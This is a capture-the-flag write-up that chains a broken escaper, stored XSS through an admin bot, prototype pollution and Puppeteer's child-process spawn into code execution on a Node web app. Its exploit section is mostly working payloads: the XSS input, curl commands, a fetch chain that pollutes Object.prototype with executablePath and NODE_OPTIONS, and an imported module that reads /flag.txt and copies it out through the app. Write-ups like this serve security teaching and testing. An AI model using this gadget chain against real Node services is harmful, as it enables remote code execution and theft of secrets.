PP{h1jack1ng_th3_d3bugg3r_w1th_f1sh13s::2Fvfrje9CS9U}
Difficulty 3. Four separate bugs have to line up — a broken escaper, the admin bot, prototype pollution, and Puppeteer's child-process spawn — before a single byte executes.
Summary
A tiny Express 5 / Handlebars 4.7.10 / Puppeteer 25 web app ("add your own fish, report bad ones to the admin") collapses all the way to RCE. Four bugs stack:
- a hand-rolled escaper in
server.jsthat skips the character after every escaped</>— so<<and><leak a raw<into a{{{ }}}<pre>; - the admin bot renders attacker ASCII with an httpOnly
admincookie, giving us admin-origin JS (stored XSS); - the admin-only
PATCH /api/admin/fish/:id/fishDatahandler calls a recursivecombine()with no__proto__guard → prototype pollution ofObject.prototype; - the app then calls
puppeteer.launch(), which spawns a child process —child_process.spawnreadsexecutablePathandenvoff the polluted prototype, so we point the "browser" at an existing Node shebang script and injectNODE_OPTIONS=--import=data:text/javascript,...to run our module as the app user.
The flag lives at /flag.txt in the container and is never read by the app; our imported
module reads it, writes a copy under the served static/ dir, and also exfiltrates it
through a second channel.
Solution / Exploit
1. The broken escaper → stored XSS
server.js:
1function escape(value) {
2 let escaped = String(value);
3 for (let index = 0; index < escaped.length; index++) {
4 const replacement = escaped[index] === '<' ? '<' : escaped[index] === '>' ? '>' : null;
5 if (!replacement) continue;
6 escaped = escaped.slice(0, index) + replacement + escaped.slice(index + 1);
7 index += replacement.length; // BUG: skips the char now sitting right after the replacement
8 }
9 return escaped;
10}
A < becomes the 4-char <, which shifts the following character to index+4; the
manual index += 4 plus the loop's index++ resumes at index+5, so the original
character immediately after a replaced </> is never inspected. Hand-trace:
escape("<<") -> "<<" (second < survives raw)
escape("<>") -> "<>" (the > survives raw)
fishView() sets reviewAscii = escape(fish.ascii), and templates/index.html renders
it unescaped inside a <pre>:
<pre class="fish-detail__ascii">{{{reviewAscii}}}</pre>
So attacker-controlled ascii injects a raw HTML tag:
<<img src=x onerror=alert(1)//<>
<< → raw <; the trailing <> supplies the raw > that closes the tag and the stray
< is swallowed by the JS // comment. Result element:
<img src=x onerror="alert(1)//<">.
2. Trigger — the admin bot
POST /api/fish stores the ascii (any anonymous visitor). POST /api/fish/:id/report
makes the Puppeteer bot visit http://127.0.0.1:80/#fish<id> with the httpOnly admin
cookie set; openFishFromHash() clones the server-rendered <template id="fish-<id>">
into the dialog and our <img onerror> fires — as admin, same origin (so fetch()
carries the cookie automatically even though it is httpOnly).
3. Admin → prototype pollution
1app.patch('/api/admin/fish/:id/fishData', requireAdmin, (req, res) => {
2 const fish = fishes.get(Number(req.params.id));
3 if (!fish) return res.status(404).send('fish not found');
4 combine(fish.fishData, req.body); // recursive, no __proto__ guard
5 res.type('text').send('fish data updated');
6});
7
8function combine(target, source) {
9 if (!obj(target) || !obj(source)) return target;
10 for (const key of Object.keys(source)) {
11 if (obj(source[key])) {
12 if (!target[key]) target[key] = {};
13 combine(target[key], source[key]);
14 } else {
15 target[key] = source[key];
16 }
17 }
18 return target;
19}
JSON.parse('{"__proto__":{...}}') creates an own __proto__ data property, so
Object.keys yields it. obj(source['__proto__']) is true, target['__proto__']
resolves to Object.prototype (truthy, so it is not replaced) and combine recurses
straight into Object.prototype, writing arbitrary keys globally.
4. Prototype pollution → RCE via Puppeteer's spawn
Every report spawns a child: puppeteer.launch(...) → child_process.spawn(...). Two
options are read from Object.prototype on that path:
executablePath—ChromeLauncher.computeLaunchArgumentsdestructures it from an options object that has no ownexecutablePath, so the polluted value wins (it must passexistsSync).env—BrowserLauncher.launchonly doesenv = process.envwhenoptions.env === undefined; a pollutedObject.prototype.envwins and is passed straight tospawn.
Object.prototype.shell does not work here (Node's normalizeSpawnArguments uses a
null-prototype copy of options), so the classic unquoted---user-data-dir= shell trick
is dead. Instead we point executablePath at an existing JS shebang script:
/usr/local/bin/npm (symlink to npm-cli.js, #!/usr/bin/env node). The kernel then
runs /usr/bin/env node <npm-cli.js> <chrome flags>, and because we control the whole
child environment we set:
PATH=/usr/local/bin:/usr/bin:/bin
NODE_OPTIONS=--import=data:text/javascript,<percent-encoded JS>
The Chrome flags arrive as script argv (not node options), so node starts normally,
processes NODE_OPTIONS, and executes our module via --import — as the node user,
inside the app container.
5. Putting it together
Attacker (no auth) adds a fish and reports it:
1curl -s -XPOST $T/api/fish -H 'Content-Type: application/json' \
2 -d '{"ascii":"<<img src=x onerror=\"(function(){ /* admin JS, see exploit script */ })()\">>"}'
3curl -s -XPOST $T/api/fish/<id>/report
The admin JS runs once as admin and does two things (full source in
fishies_exploit.js):
1// 1) pollute Object.prototype via the admin PATCH
2fetch('/api/admin/fish/1/fishData', {
3 method: 'PATCH',
4 headers: {'Content-Type': 'application/json'},
5 body: JSON.stringify({__proto__: {
6 executablePath: '/usr/local/bin/npm',
7 env: {
8 PATH: '/usr/local/bin:/usr/bin:/bin',
9 NODE_OPTIONS: '--import=data:text/javascript,' + encJS,
10 },
11 }}),
12})
13// 2) re-trigger puppeteer.launch() so the polluted options are consumed,
14// which spawns `/usr/bin/env node ...` and runs our --import module
15.then(() => fetch('/api/fish/1/report', {method: 'POST'}));
The imported module:
1const fs = await import('node:fs');
2const d = fs.readFileSync('/flag.txt', 'utf8');
3fs.writeFileSync('/app/static/flagout.txt', d); // channel 1: static file
4await fetch('http://127.0.0.1/api/fish', { // channel 2: post back as a fish
5 method: 'POST', headers: {'Content-Type': 'application/json'},
6 body: JSON.stringify({ascii: d, fishData: {}}),
7});
Channel 1 (GET /static/flagout.txt) is the reliable one:
$ curl -s $T/static/flagout.txt
PP{h1jack1ng_th3_d3bugg3r_w1th_f1sh13s::2Fvfrje9CS9U}
Flag(s)
PP{h1jack1ng_th3_d3bugg3r_w1th_f1sh13s::2Fvfrje9CS9U}
Notes / Pitfalls
shellwon't work. The obvious PP→spawn gadget (Object.prototype.shell=/bin/sh) is neutralised because Node copies options into a null-prototype object beforenormalizeSpawnArguments. TheexecutablePath+env+NODE_OPTIONSroute is what actually lands.executablePathmust exist. It is only used if it passesexistsSync, so pick a real file on disk —/usr/local/bin/npmis ideal: it exists and it is a shebang script, i.e. the kernel will hand it tonode.- Non-standard
</>in the payload. The raw tag needs a bare<and>while the escaper is still in play: get them from<<and<>. Inside the JS use single-quoted strings and\x22for JSON quotes so the double-quotedonerror=attribute is never broken. - The SSRF is a decoy.
POST /api/admin/fetchis admin-only and loopback-only — it can only reach the app on port 80 (127.0.0.1/localhost,http:only). No inspector is reachable (9229/9222 refused); it is a dead end for file read. - Bot timing.
visitFishsleeps 20 s after navigation, so the injected JS has a generous window; the report returns immediately ("review queued") while the bot runs. - Payload size is capped at 2000 chars for
ascii; the percent-encodeddata:URL must fit inNODE_OPTIONS— keep the module small.